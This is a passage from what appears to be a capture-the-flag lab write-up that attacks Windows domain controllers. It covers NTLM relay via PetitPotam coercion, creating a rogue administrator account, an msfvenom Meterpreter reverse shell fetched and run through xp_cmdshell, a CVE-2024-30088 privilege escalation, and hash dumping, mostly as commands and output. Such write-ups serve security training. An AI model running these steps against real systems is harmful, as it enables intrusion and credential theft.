[SMB] NTLMv2-SSP Hash     : DC02$::darkzero-ext:357823cebcace83f:A02441E7C98947EA27B2B3FA29B32C8A:0101000000000000804799137ABFDC010D87A93AAC7B3BA000000000020008004A0043003500590001001E00570049004E002D004800590038004700560048004B0031004B004A00570004003400570049004E002D004800590038004700560048004B0031004B004A0057002E004A004300350059002E004C004F00430041004C00030014004A004300350059002E004C004F00430041004C00050014004A004300350059002E004C004F00430041004C0007000800804799137ABFDC0106000400020000000800300030000000000000000000000000400000CEF2A7766F85F5078C7A7B5A5EA17F038F3924C789BFD5230C03F3CACA075E850A001000000000000000000000000000000000000900840063006900660073002F004400430030003200310055005700680052004300410041004100410041004100410041004100410041004100410041004100410041004100410041004100410041004100410041004100410077006200450041005900420041004100410041002E006400610072006B007A00650072006F002E006500780074000000000000000000
[*] Skipping previously captured hash for darkzero-ext\DC02$
[*] Skipping previously captured hash for darkzero-ext\DC02$
[*] Skipping previously captured hash for darkzero-ext\DC02$
[*] Skipping previously captured hash for darkzero-ext\DC02$
[*] Skipping previously captured hash for darkzero-ext\DC02$
[*] Skipping previously captured hash for darkzero-ext\DC02$
</span></code></pre></div></div>

<h4 id="relay">Relay</h4>

<p>I could try to crack that NetNTLMv2, but it’s a machine password and almost certainly uncrackable. Instead I’ll relay it using the <a href="https://github.com/decoder-it/impacket-partial-mic">custom Impacket</a> with the ability to remove the MIC. I’ll get the fork and install it in a virtual environment:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="500"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>git clone https://github.com/decoder-it/impacket-partial-mic.git
<span class="go">Cloning into 'impacket-partial-mic'...
remote: Enumerating objects: 24911, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 24911 (delta 4), reused 0 (delta 0), pack-reused 24902 (from 1)
Receiving objects: 100% (24911/24911), 10.41 MiB | 33.74 MiB/s, done.
Resolving deltas: 100% (19091/19091), done.
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cd </span>impacket-partial-mic/
<span class="gp">oxdf@hacky$</span><span class="w"> </span>uv venv venv
<span class="go">Using CPython 3.13.7
Creating virtual environment at: venv
Activate with: source venv/bin/activate
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">source </span>venv/bin/activate
<span class="gp">(venv) oxdf@hacky$</span><span class="w"> </span>uv pip <span class="nb">install</span> <span class="nb">.</span>
<span class="go">Using Python 3.13.7 environment at: venv
Resolved 21 packages in 402ms
      Built impacket @ file:///opt/impacket-partial-mic
Prepared 1 package in 549ms
Installed 21 packages in 22ms
 + blinker==1.9.0
 + cffi==2.0.0
 + charset-normalizer==3.4.6
 + click==8.3.1
 + cryptography==46.0.6
 + dnspython==2.8.0
 + flask==3.1.3
 + impacket==0.13.0.dev0+20260108.160920.d3144ec7 (from file:///opt/impacket-partial-mic)
 + itsdangerous==2.2.0
 + jinja2==3.1.6
 + ldap3==2.9.1
 + ldapdomaindump==0.10.0
 + markupsafe==3.0.3
 + pyasn1==0.6.3
 + pyasn1-modules==0.4.2
 + pycparser==3.0
 + pycryptodomex==3.23.0
 + pyopenssl==26.0.0
 + setuptools==82.0.1
 + six==1.17.0
 + werkzeug==3.1.7
</span></code></pre></div></div>

<p>I’ll start <code class="language-plaintext highlighter-rouge">ntlmrelayx</code> with the following options:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-t ldaps://172.16.20.2</code> - The target is LDAPS on DC02. It’s important to use LDAPS to get all the features of the shell that will result (like adding users).</li>
  <li><code class="language-plaintext highlighter-rouge">-i</code> - Use the relay to get an interactive LDAP shell on the target.</li>
  <li><code class="language-plaintext highlighter-rouge">--remove-mic-partial</code> - This is the trick that allows this relay without failing the MIC check.</li>
  <li><code class="language-plaintext highlighter-rouge">-smb2support</code> - Like many <a href="https://github.com/SecureAuthCorp/impacket">Impacket</a> tools, without this it won’t work.</li>
</ul>

<p>With that running, I’ll coerce again:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains netexec smb DC02.darkzero.ext <span class="nt">-u</span> john.w <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span> <span class="nt">-d</span> darkzero.htb <span class="nt">-M</span> coerce_plus <span class="nt">-o</span> <span class="nv">LISTENER</span><span class="o">=</span>DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA <span class="nv">METHOD</span><span class="o">=</span>petitpotam
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
</span><span class="netexec-protocol">SMB </span><span class="go">        172.16.20.2     445    DC02             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:DC02) (domain:darkzero.ext) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
</span><span class="netexec-protocol">SMB </span><span class="go">        172.16.20.2     445    DC02             </span><span class="netexec-logsuccess">[+]</span><span class="go"> darkzero.htb\john.w:RFulUtONCOL! 
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
</span><span class="nb">COERCE_PLUS </span><span class="go">172.16.20.2     445    DC02             VULNERABLE, PetitPotam
</span><span class="nb">COERCE_PLUS </span><span class="go">172.16.20.2     445    DC02             Exploit Success, efsrpc\EfsRpcAddUsersToFile
</span></code></pre></div></div>

<p>It’s important to only specify the listener as the hostname, without <code class="language-plaintext highlighter-rouge">.darkzero.ext</code>, or that will break the CMTI trick. At <code class="language-plaintext highlighter-rouge">ntlmrelayx</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">(venv) oxdf@hacky$ </span>proxychains ntlmrelayx.py <span class="nt">-t</span> ldaps://172.16.20.2 <span class="nt">-i</span> <span class="nt">--remove-mic-partial</span> <span class="nt">-smb2support</span>
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0.dev0+20260108.160920.d3144ec7 - Copyright Fortra, LLC and its affiliated companies 
...[snip]...
[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.5.34, attacking target ldaps://172.16.20.2
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:636  ...  OK
[*] (SMB): Authenticating connection from /@10.129.5.34 against ldaps://172.16.20.2 SUCCEED [1]
[*] ldaps:///@172.16.20.2 [1] -&gt; Started interactive Ldap shell via TCP on 127.0.0.1:11000 as /
[*] All targets processed!
[*] (SMB): Connection from 10.129.5.34 controlled, but there are no more targets left!
</span></code></pre></div></div>

<p>It worked, and there’s an interactive LDAP shell on 127.0.0.1:11000.</p>

<h4 id="escalate">Escalate</h4>

<p>I’ll connect to the LDAP shell with <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc 127.0.0.1 11000
<span class="go">Type help for list of commands

</span><span class="gp">#</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">help</code> will show the available commands:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp"># </span><span class="nb">help</span>
<span class="go">
 add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
 rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
 add_user new_user [parent] - Creates a new user.
 add_user_to_group user group - Adds a user to a group.
 change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
 clear_rbcd target - Clear the resource based constrained delegation configuration information.
 disable_account user - Disable the user's account.
 enable_account user - Enable the user's account.
 dump - Dumps the domain.
 search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
 get_user_groups user - Retrieves all groups this user is a member of.
 get_group_users group - Retrieves all members of a group.
 get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
 grant_control [search_base] target grantee - Grant full control on a given target object (sAMAccountName or search filter, optional search base) to the grantee (sAMAccountName).
 set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
 set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
 start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
 write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
 whoami - get connected user
 dirsync - Dirsync requested attributes
 exit - Terminates this session.
</span></code></pre></div></div>

<p>The shell is running as SYSTEM:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp"># </span><span class="nb">whoami</span>
<span class="go">u:NT AUTHORITY\SYSTEM
</span></code></pre></div></div>

<p>I’ll create a new user and add them to the administrators group:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp"># </span>add_user oxdf
<span class="go">Attempting to create user in: %s CN=Users,DC=darkzero,DC=ext
Adding new user with username: oxdf and password: ra!J|SDs^TFs&lt;p&gt; result: OK

</span><span class="gp"># </span>change_password oxdf 0xdf0xdf.
<span class="go">Got User DN: CN=oxdf,CN=Users,DC=darkzero,DC=ext
Attempting to set new password of: 0xdf0xdf.
Password changed successfully!

</span><span class="gp"># </span>add_user_to_group oxdf administrators
<span class="go">Adding user: oxdf to group Administrators result: OK
</span></code></pre></div></div>

<p>It works! The order is important here, as once I add the user to the administrators group, I’m no longer able to set a password via this shell.</p>

<p>I’ll validate the creds using <code class="language-plaintext highlighter-rouge">netexec</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains netexec smb dc02 <span class="nt">-u</span> oxdf <span class="nt">-p</span> 0xdf0xdf. 
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc02:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc02:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc02:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc02:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc02:135  ...  OK
</span><span class="netexec-protocol">SMB </span><span class="go">        224.0.0.1       445    DC02             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:DC02) (domain:darkzero.ext) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc02:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc02:445  ...  OK
</span><span class="netexec-protocol">SMB </span><span class="go">        224.0.0.1       445    DC02             </span><span class="netexec-logsuccess">[+]</span><span class="go"> darkzero.ext\oxdf:0xdf0xdf. </span><span class="netexec-pwned">(Pwn3d!)</span><span class="go">
</span></code></pre></div></div>

<p>From here I can get a shell many ways. For example, <code class="language-plaintext highlighter-rouge">psexec.py</code> from <a href="https://github.com/SecureAuthCorp/impacket">Impacket</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span>proxychains psexec.py darkzero.ext/oxdf:0xdf0xdf.@172.16.20.2
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[*] Requesting shares on 172.16.20.2.....
[*] Found writable share ADMIN$
[*] Uploading file cpgrXDmH.exe
[*] Opening SVCManager on 172.16.20.2.....
[*] Creating service bfFT on 172.16.20.2.....
[*] Starting service bfFT.....
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[!] Press help for extra shell commands
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
Microsoft Windows [Version 10.0.20348.2113]
(c) Microsoft Corporation. All rights reserved.

</span><span class="gp">C:\Windows\system32&gt;</span><span class="w"> </span><span class="nb">whoami</span>
<span class="go">nt authority\system
</span></code></pre></div></div>

<h3 id="via-cve-2024-30088">via CVE-2024-30088</h3>

<h4 id="meterpreter">Meterpreter</h4>

<p>Enumeration showed that no security patches have been applied to this host. Metasploit is a nice tool to enumerate for known and exploitable vulnerabilities. I’ll use <code class="language-plaintext highlighter-rouge">msfvenom</code> to create an executable payload that will initiate a Meterpreter reverse shell:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>msfvenom <span class="nt">-p</span> windows/x64/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>10.10.14.61 <span class="nv">LPORT</span><span class="o">=</span>443 <span class="nt">-f</span> exe <span class="nt">-o</span> meterpreter.exe
<span class="go">[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7680 bytes
Saved as: meterpreter.exe
</span></code></pre></div></div>

<p>I’ll start Metasploit, and <code class="language-plaintext highlighter-rouge">use exploit/multi/handler</code>, and set the options to catch the shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">msf &gt; </span>use exploit/multi/handler
<span class="go">[*] Using configured payload windows/x64/meterpreter/reverse_tcp
</span><span class="gp">msf exploit(multi/handler) &gt; </span><span class="nb">set </span>LHOST tun0
<span class="go">LHOST =&gt; tun0
</span><span class="gp">msf exploit(multi/handler) &gt; </span><span class="nb">set </span>LPORT 443
<span class="go">LPORT =&gt; 443
</span><span class="gp">msf exploit(multi/handler) &gt; </span>options
<span class="go">
Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     tun0             yes       The listen address (an interface may be specified)
   LPORT     443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


View the full module info with the info, or info -d command.
</span><span class="gp">msf exploit(multi/handler) &gt; </span>run
<span class="go">[*] Started reverse TCP handler on 10.10.14.61:443 
</span></code></pre></div></div>

<p>With that listening, I’ll fetch and run the exe over MSSQL:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL &gt;[DC02.darkzero.ext] (dc01_sql_svc  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s2">"powershell -c IWR http://10.10.14.61/meterpreter.exe -outfile C:\programdata\m.exe"</span><span class="w">
</span><span class="go">output   
------   
NULL  
</span><span class="gp">SQL &gt;[DC02.darkzero.ext] (dc01_sql_svc  dbo@master)&gt; </span><span class="n">xp_cmdshell</span><span class="w"> </span><span class="s2">"C:\programdata\m.exe"</span><span class="w">
</span></code></pre></div></div>

<p>At Metasploit there’s a shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">msf exploit(multi/handler) &gt;</span><span class="w"> </span>run
<span class="go">[*] Started reverse TCP handler on 10.10.14.61:443 
[*] Sending stage (232006 bytes) to 10.129.5.34
[*] Meterpreter session 1 opened (10.10.14.61:443 -&gt; 10.129.5.34:58056) at 2026-03-11 21:32:39 +0000

</span><span class="gp">meterpreter &gt;</span><span class="w">
</span></code></pre></div></div>

<h4 id="identify-exploit">Identify Exploit</h4>

<p>Metasploit has a <code class="language-plaintext highlighter-rouge">local_exploit_suggester</code>, which I’ll use here. I’ll enter <code class="language-plaintext highlighter-rouge">background</code> to drop out of the meterpreter session and then:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="400"><div class="highlight"><pre class="highlight"><code><span class="gp">msf exploit(multi/handler) &gt; </span>use post/multi/recon/local_exploit_suggester
<span class="go">[*] Using configured payload windows/x64/meterpreter/reverse_tcp  
</span><span class="gp">msf post(multi/recon/local_exploit_suggester) &gt; </span><span class="nb">set </span>session 1
<span class="go">session =&gt; 1   
</span><span class="gp">msf post(multi/recon/local_exploit_suggester) &gt; </span>run
<span class="go">[*] 10.129.5.34 - Collecting local exploits for x64/windows...
/opt/metasploit-framework/embedded/lib/ruby/gems/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems
/opt/metasploit-framework/embedded/lib/ruby/gems/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems
[*] 10.129.5.34 - 243 exploit checks are being tried...
[+] 10.129.5.34 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 10.129.5.34 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 10.129.5.34 - exploit/windows/local/cve_2022_21882_win32k: The service is running, but could not be validated. May be vulnerable, but exploit not tested on Windows Server 2022
[+] 10.129.5.34 - exploit/windows/local/cve_2022_21999_spoolfool_privesc: The target appears to be vulnerable.
[+] 10.129.5.34 - exploit/windows/local/cve_2023_28252_clfs_driver: The target appears to be vulnerable. The target is running windows version: 10.0.20348.0 which has a vulnerable version of clfs.sys installed by default
[+] 10.129.5.34 - exploit/windows/local/cve_2024_30085_cloud_files: The target appears to be vulnerable.
[+] 10.129.5.34 - exploit/windows/local/cve_2024_30088_authz_basep: The target appears to be vulnerable. Version detected: Windows Server 2022. Revision number detected: 2113
[+] 10.129.5.34 - exploit/windows/local/cve_2024_35250_ks_driver: The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2022
[+] 10.129.5.34 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.129.5.34 - exploit/windows/persistence/registry: The target is vulnerable. Registry writable
[+] 10.129.5.34 - exploit/windows/persistence/registry_userinit: The target is vulnerable. Registry likely exploitable
[*] Running check method for exploit 62 / 62
[*] 10.129.5.34 - Valid modules for session 1:
============================

</span><span class="c"> #   Name                                                              Potentially Vulnerable?  Check Result
</span><span class="go"> -   ----                                                              -----------------------  ------------
 1   exploit/windows/local/bypassuac_dotnet_profiler                   Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_sdclt                             Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/cve_2022_21882_win32k                       Yes                      The service is running, but could not be validated. May be vulnerable, but exploit not tested on Windows Server 2022
 4   exploit/windows/local/cve_2022_21999_spoolfool_privesc            Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/cve_2023_28252_clfs_driver                  Yes                      The target appears to be vulnerable. The target is running windows version: 10.0.20348.0 which has a vulnerable version of clfs.sys installed by default
 6   exploit/windows/local/cve_2024_30085_cloud_files                  Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/cve_2024_30088_authz_basep                  Yes                      The target appears to be vulnerable. Version detected: Windows Server 2022. Revision number detected: 2113
 8   exploit/windows/local/cve_2024_35250_ks_driver                    Yes                      The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2022
 9   exploit/windows/local/ms16_032_secondary_logon_handle_privesc     Yes                      The service is running, but could not be validated.
 10  exploit/windows/persistence/registry                              Yes                      The target is vulnerable. Registry writable
 11  exploit/windows/persistence/registry_userinit                     Yes                      The target is vulnerable. Registry likely exploitable
 12  exploit/multi/persistence/ssh_key                                 No                       The target is not exploitable. sshd_config file not found
 13  exploit/windows/local/agnitum_outpost_acs                         No                       The target is not exploitable.
 14  exploit/windows/local/always_install_elevated                     No                       The target is not exploitable.
 15  exploit/windows/local/bits_ntlm_token_impersonation               No                       The target is not exploitable.
 16  exploit/windows/local/bypassuac_comhijack                         No                       The target is not exploitable.
 17  exploit/windows/local/bypassuac_eventvwr                          No                       The target is not exploitable.
 18  exploit/windows/local/bypassuac_fodhelper                         No                       The target is not exploitable.
 19  exploit/windows/local/bypassuac_sluihijack                        No                       The target is not exploitable.
 20  exploit/windows/local/canon_driver_privesc                        No                       The target is not exploitable. No Canon TR150 driver directory found
 21  exploit/windows/local/capcom_sys_exec                             No                       Cannot reliably check exploitability.
 22  exploit/windows/local/cve_2019_1458_wizardopium                   No                       The target is not exploitable.
 23  exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move      No                       The target is not exploitable. Target is not running a vulnerable version of Windows!
 24  exploit/windows/local/cve_2020_0796_smbghost                      No                       The target is not exploitable.
 25  exploit/windows/local/cve_2020_1048_printerdemon                  No                       The target is not exploitable.
 26  exploit/windows/local/cve_2020_1054_drawiconex_lpe                No                       The target is not exploitable. No target for win32k.sys version 6.2.20348.2110
 27  exploit/windows/local/cve_2020_1313_system_orchestrator           No                       The target is not exploitable.
 28  exploit/windows/local/cve_2020_1337_printerdemon                  No                       The target is not exploitable.
 29  exploit/windows/local/cve_2020_17136                              No                       The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version!
 30  exploit/windows/local/cve_2021_21551_dbutil_memmove               No                       The target is not exploitable.
 31  exploit/windows/local/cve_2021_40449                              No                       The target is not exploitable. The build number of the target machine does not appear to be a vulnerable version!
 32  exploit/windows/local/cve_2022_3699_lenovo_diagnostics_driver     No                       The target is not exploitable.
 33  exploit/windows/local/cve_2023_21768_afd_lpe                      No                       The target is not exploitable. The exploit only supports Windows 11 22H2
 34  exploit/windows/local/gog_galaxyclientservice_privesc             No                       The target is not exploitable. Galaxy Client Service not found
 35  exploit/windows/local/ikeext_service                              No                       The check raised an exception.
 36  exploit/windows/local/lexmark_driver_privesc                      No                       The target is not exploitable. No Lexmark print drivers in the driver store
 37  exploit/windows/local/ms10_092_schelevator                        No                       The target is not exploitable. Windows Server 2022 (10.0 Build 20348). is not vulnerable
 38  exploit/windows/local/ms14_058_track_popup_menu                   No                       Cannot reliably check exploitability.
 39  exploit/windows/local/ms15_051_client_copy_image                  No                       The target is not exploitable.
 40  exploit/windows/local/ms15_078_atmfd_bof                          No                       Cannot reliably check exploitability.
 41  exploit/windows/local/ms16_014_wmi_recv_notif                     No                       The target is not exploitable.
 42  exploit/windows/local/ms16_075_reflection                         No                       The target is not exploitable.
 43  exploit/windows/local/ms16_075_reflection_juicy                   No                       The target is not exploitable.
 44  exploit/windows/local/ntapphelpcachecontrol                       No                       The check raised an exception.
 45  exploit/windows/local/nvidia_nvsvc                                No                       The check raised an exception.
 46  exploit/windows/local/panda_psevents                              No                       The target is not exploitable.
 47  exploit/windows/local/ricoh_driver_privesc                        No                       The target is not exploitable. No Ricoh driver directory found
 48  exploit/windows/local/srclient_dll_hijacking                      No                       The target is not exploitable. Target is not Windows Server 2012.
 49  exploit/windows/local/tokenmagic                                  No                       The target is not exploitable.
 50  exploit/windows/local/virtual_box_opengl_escape                   No                       The target is not exploitable.
 51  exploit/windows/local/webexec                                     No                       The check raised an exception.
 52  exploit/windows/local/win_error_cve_2023_36874                    No                       The target is not exploitable.
 53  exploit/windows/persistence/accessibility_features_debugger       No                       The target is not exploitable. You have admin rights to run this Module
 54  exploit/windows/persistence/assistive_technology                  No                       The target is not exploitable. You have admin rights to run this Module
 55  exploit/windows/persistence/notepadpp_plugin                      No                       The target is not exploitable. Notepad++ is probably not present
 56  exploit/windows/persistence/service                               No                       The target is not exploitable. You must be System/Admin to run this Module
 57  exploit/windows/persistence/startup_folder                        No                       The target is not exploitable. Unable to write to C:\Users\svc_sql\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
 58  exploit/windows/persistence/task_scheduler                        No                       The target is not exploitable. You need higher privileges to create scheduled tasks
 59  exploit/windows/persistence/wmi/wmi_event_subscription_event_log  No                       The target is not exploitable. This module requires admin privs to run
 60  exploit/windows/persistence/wmi/wmi_event_subscription_interval   No                       The target is not exploitable. This module requires admin privs to run
 61  exploit/windows/persistence/wmi/wmi_event_subscription_process    No                       The target is not exploitable. This module requires admin privs to run
 62  exploit/windows/persistence/wmi/wmi_event_subscription_uptime     No                       The target is not exploitable. This module requires admin privs to run

[*] Post module execution completed
</span></code></pre></div></div>

<h4 id="exploit">Exploit</h4>

<p>There’s a ton of output, and a bunch of potential vulnerabilities to try. It doesn’t take long to try them one by one. Many don’t work, but CVE-2024-30088 does:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">msf exploit(windows/local/cve_2024_30088_authz_basep) &gt; </span><span class="nb">set </span>session 1
<span class="go">session =&gt; 1
</span><span class="gp">msf exploit(windows/local/cve_2024_30088_authz_basep) &gt; </span>options
<span class="go">
Module options (exploit/windows/local/cve_2024_30088_authz_basep):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     tun0             yes       The listen address (an interface may be specified)
   LPORT     443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x64

View the full module info with the info, or info -d command.
</span><span class="gp">msf exploit(windows/local/cve_2024_30088_authz_basep) &gt; </span>run
<span class="go">[*] Started reverse TCP handler on 10.10.14.61:443 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: Windows Server 2022. Revision number detected: 2113
[*] Reflectively injecting the DLL into 32...
[+] The exploit was successful, reading SYSTEM token from memory...
[+] Successfully stole winlogon handle: 400
[+] Successfully retrieved winlogon pid: 624
[*] Sending stage (232006 bytes) to 10.129.5.34
[*] Meterpreter session 2 opened (10.10.14.61:443 -&gt; 10.129.5.34:58057) at 2026-03-12 00:30:16 +0000

</span><span class="gp">meterpreter &gt; </span>getuid
<span class="go">Server username: NT AUTHORITY\SYSTEM
</span></code></pre></div></div>

<p>Sometimes attempting to exploit CVE-2024-30088 with this exploit kills the existing shell and I’ll have to re-connect and try again, but it will eventually work. With this shell I can read the user flag as well:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">meterpreter &gt; </span><span class="nb">cat </span>C:/users/administrator/desktop/user.txt
<span class="go">386af5a6************************
</span></code></pre></div></div>

<h2 id="shell-as-administrator-on-dc01">Shell as Administrator on DC01</h2>

<h3 id="enumeration-1">Enumeration</h3>

<h4 id="hashes">Hashes</h4>

<p>The filesystem is basically empty, but as system I can now dump hashes. From a PowerShell reverse shell that would involve uploading <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a> or some other tool. From meterpreter, I can just dump them:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">meterpreter &gt; </span>hashdump
<span class="go">Administrator:500:aad3b435b51404eeaad3b435b51404ee:6963aad8ba1150192f3ca6341355eb49:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:43e27ea2be22babce4fbcff3bc409a9d:::
svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:816ccb849956b531db139346751db65f:::
DC02$:1000:aad3b435b51404eeaad3b435b51404ee:663a13eb19800202721db4225eadc38e:::
darkzero$:1105:aad3b435b51404eeaad3b435b51404ee:1ab129b1c2843deb170c05ca9f09550b:::
</span></code></pre></div></div>

<p>Unfortunately, these are hashes from the <code class="language-plaintext highlighter-rouge">darkzero.ext</code> domain, which aren’t useful to me on DC01 or the <code class="language-plaintext highlighter-rouge">darkzero.htb</code> domain.</p>

<h4 id="domain-trust">Domain Trust</h4>

<p>I already saw in the BloodHound data the trust between <code class="language-plaintext highlighter-rouge">darkzero.htb</code> and <code class="language-plaintext highlighter-rouge">darkzero.ext</code>. <code class="language-plaintext highlighter-rouge">nltest</code> will show this as well:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">nltest</span><span class="w"> </span><span class="nx">/domain_trusts</span><span class="w"> </span><span class="nx">/all_trusts</span><span class="w">
</span><span class="go">List of domain trusts:
